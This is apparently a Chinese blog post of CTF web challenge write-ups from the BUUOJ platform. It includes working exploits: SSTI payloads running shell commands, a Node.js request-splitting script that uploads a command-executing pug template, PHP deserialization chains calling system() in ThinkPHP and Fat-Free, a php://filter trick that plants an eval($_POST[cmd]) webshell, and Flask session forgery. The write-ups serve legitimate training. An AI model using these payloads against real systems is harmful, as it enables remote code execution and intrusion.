[CISCN2019 华东南赛区]Double Secret

就是一个页面,看上去没东西;用Burpsuite卡一下也没有显示。

扫描器试一下;扫描到了robots.txt

image.png

提示是安卓,所以这个可能是和Java的后台有关系;

然后不会了,去查题解知道有个目录是/secret,登一下

随便编造一下就挂了,观察错误信息

image.png

关键信息被泄露

image.png

然后上网找个RC4脚本,修改后使用

import sys,os,hashlib,time,base64
import urllib.parse
class rc4:

  def __init__(self,public_key = None):
    self.public_key = public_key

  def encode(self,string):
    self.result = ''
    self.docrypt(string)
    self.result = urllib.parse.quote(self.result.encode("UTF-8"))
    return self.result

  def decode(self,string):
    self.result = ''
    string = urllib.parse.unquote(string)
    self.docrypt(string)
    return self.result

  def docrypt(self,string):
    string_lenth = len(string)
    result = ''
    box = list(range(256))
    randkey = []
    key_lenth = len(self.public_key)

    for i in range(256):
      randkey.append(ord(self.public_key[i % key_lenth]))

    j = 0
    for i in range(256):
        j = (j + box[i] + randkey[i]) % 256
        box[i],box[j] = box[j],box[i]

    a = j = 0
    for i in range(string_lenth):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        box[a],box[j] = box[j],box[a]
        self.result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

rc = rc4('HereIsTreasure')
temp = rc.encode("{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}")
print(temp)
image.png

然后就是SSTI的标准方式

"{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('tac /flag.txt').read()")}}"
image.png
image.png

跟原题一样有过滤的话,只需要base64输出即可。

[watevrCTF-2019]Cookie Store

一个购买页面

image.png

买就完事了

image.png

Cookie被修改了,我们解密一下

image.png

改就完事了

image.png

[GYCTF2020]Node Game

给了源码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p> error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) =&gt; {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec",""","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i &lt; arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

然后就不会了,膜拜了一下题解后知道了新姿势:拆分请求大法

那么我可以把请求通过构造,弄成两个请求然后直接去拿到上传,然后利用action来进行SSRF

抄个exp;总之也可以用字符串拼接等方法绕过。

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

- var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('evalcmd').toString()")
- return x
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
    payload = payload.replace(" ","%C4%A0")
    payload = payload.replace("n","%C4%8D%C4%8A")
    payload = payload.replace(""","%C4%A2")
    payload = payload.replace("'","%C4%A7")
    payload = payload.replace("`","%C5%A0")
    payload = payload.replace("!","%C4%A1")

    payload = payload.replace("+","%2B")
    payload = payload.replace(";","%3B")
    payload = payload.replace("&","%26")

    # Bypass Waf 
    payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
    payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
    payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
    payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
    payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")

    return payload

def run(url,cmd):
    payloadC =  payloadRaw.replace("evalcmd",cmd)
    urlC = url+"/core?q="+getParm(payloadC)
    #print(getParm(payloadC))
    rx = requests.get(urlC)
    #print(rx.text)
    return requests.get(url+"/?action=flag").text

if __name__ == '__main__':
    targetUrl = 'http://f71b0533-d2ca-4e16-b23d-600f5f5799ae.node3.buuoj.cn'
    cmd = 'cat /flag.txt'
    print(run(targetUrl,cmd))
image.png

[GYCTF2020]EasyThinking

随便输错一下,发现这个是ThinkPHP 6.0系列的,所以我们用这个版本的漏洞。

然后不知道这个是啥漏洞,查了WP知道了。

复现一下

先是注册登录抓包

image.png

搜索写一句话

image.png

结果被disable

image.png

那么我们要想办法绕过

写个传统一句话,用蚁剑试试

测试用PHP7 Backtrace UAF可以做到

然后执行/readflag就能读取flag

image.png

[强网杯 2019]Upload

看起来是Discuz!平台的;

登录的时候经过了跳转,那个经典的笑脸图标很像是ThinkPHP系列的产物。

随便传个东西上去,发现传不上去;试试传个shell,显示为Forbidden Type

传个小图片就可以;我们思考是不是要传个小的图片型shell上去;

重新注册账号,上传,可以发现传能传上去,但是后缀名会被更改成png,无法正常使用;不过检查文件内容是没有问题的。

image.png

找到敏感文件www.tar.gz

然后不会了,查了一下分析

需要通过一个反序列化利用

exp如下:

<?php
namespace appwebcontroller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

}

class Register
{
    public $checker;
    public $registed;
}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/af93955eaacfa5f296d1d021aa89b224.png";
$profile->filename = "../public/upload/852aff287f54bca0ed7757a702913e50/aaaa.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));
?>
image.png
image.png

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

套足够多的娃,php就废了

http://caf2c2bf-10cc-4e47-bf3b-3dd0d0e22529.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=/proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/flag.php
image.png
image.png

[WMCTF2020]Make PHP Great Again 2.0

和上一题一样的套路,不过据说上一题有个条件竞争写入session的做法,我这个做法就通用一点,都行

[WMCTF2020]webcheckin

存在www.zip,下载看源码

<?php

// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
$f3->config('config.ini');

$f3->route('GET /',
    function($f3) {
        echo "just get me a,don't do anything else";
    }
);
unserialize($_GET['a']);

$f3->run();

可能是框架漏洞,也有可能是原生类反序列化;不过原生类主要是获得cookie之类,结合这题没人做,所以猜测是框架漏洞。

不过框架文件实在是有些大了,所以我们全局搜索一些可以用的魔术方法,尝试找点东西;

首先是关键的启动函数__destruct,很多反序列化漏洞都是从这里起步;然后找到一个类Agent(只有这个类__destruct有东西),那么思考这个类在干啥

function __destruct() {
        if (isset($this->server->events['disconnect']) &&
            is_callable($func=$this->server->events['disconnect']))
            $func($this);
    }

观察一下,这个方法是判断一个东西能不能执行,然后能执行的话执行一个东西;

那么外壳确定是用Agent套了,然后内部选择合适的server变量来启动:首先得有events变量,方便操作;那么我们就发现了WS类存在,同时有一个东西叫read,所以我们可以尝试来读取内容(比如flag),。但是我们没办法控制上面Agent内部套出来的$this,所以这样搞就不对了。那么我们需要别的函数来进行操作;

然后不会了,查题解

找到了Mapper作为可控制__call的函数组合,那么我们来操作一下试试

<?php
namespace DBSQL{
    class Mapper{

//@{ Error messages
const
    E_PKey='Table %s does not have a primary key';
//@}

protected
    //! Dynamic properties
    $props=[];
    function __construct($p){
            $this->props=$p;
        }
}

}

namespace CLI{
    class Agent {

        protected
            $server,
            $socket;
        function __construct($s,$s2){
            $this->server=$s;
            $this->socket=$s2;
        }
    }
    class WS {

        const
            //! UUID magic string
            Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
            //! Max packet size
            Packet=65536;

        //@{ Mask bits for first byte of header
        const
            Text=0x01,
            Binary=0x02,
            Close=0x08,
            Ping=0x09,
            Pong=0x0a,
            OpCode=0x0f,
            Finale=0x80;
        //@}

        //@{ Mask bits for second byte of header
        const
            Length=0x7f;
        //@}

        protected
            $events=[];

        function __construct($e){
            $this->events=$e;
        }
    }
}

namespace {

class Basket{
    public
            $events=[];
           function __construct($e){
            $this->events=$e;
        } 
}
$A = new DBSQLMapper(array('read'=>'system'));
$B = new CLIAgent($A,'cat /etc/flagzaizheli');
$C = new Basket(array('disconnect'=>array($B,'fetch')));
$D = new CLIAgent($C,'');
$E = new CLIWS($D);
print_r(urlencode(serialize($E)));
}
?>

流程大致如下:先通过WS引入Agent,然后Agentserver存在events,从而执行disconnect带来的第一个参数类的fetch函数;这里数组比较奇妙,实验一下如下:

image.png
image.png

也就是Basket当成了类名,events是函数名。

然后这个events需要是public的,否则读取不了;

最后就是之前的套娃,这样就能够访问自定义可控函数了。

最终执行效果如下:

image.png
image.png

[WMCTF2020]Web Check in

很想吐槽这个相似的名字。。。

然后就很怪,我当初在打的时候用的直接读取这把就读取不了了。。。。

那就得想想办法了;我记得N1CTF2020里面有个套路,就是在用伪协议的时候套一个<?php xxxxx,这样就可以奇妙的执行代码,把一道复杂的PHP源文件凑命令变成了一道大水题;不过这个题目貌似不能这么搞;

不过我们可以用到一个技巧:弄几个过滤器,套起来之后就可以奇妙的过滤掉这个空格,然后就行了

php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=?><?php%0deval($_POST[cmd]);?>

这里必须要用%0d,否则会被过滤器过滤掉,之前那个exit的空格就是这么过滤的。

蚁剑连接拿flag

image.png

注:相同的操作方法有些时候会莫名其妙失败,挺奇怪的

[CISCN2019 华东南赛区]Web4

可以访问文件,url可以直接写入文件地址进行访问

先访问位置

http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/proc/self/cmdline

/usr/local/bin/python /app/app.py

然后读取源码

# http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

伪随机数,执行了命令uuid.getnode(),观察执行方法

image.png

观察实际上是执行了啥

image.png

实际上是通过MAC地址确定的值,我们找个办法读取

http://a107fa09-2f4c-4520-acb1-de6b4aa62baf.node3.buuoj.cn/read?url=/sys/class/net/eth0/address

02:42:ac:10:9a:38
image.png

使用这个工具来进行解密

image.png

修正一下,改成合适的username重写;

image.png

替换掉Cookie后得到答案。

image.png
It is my final heart.
最后更新于 2022-07-24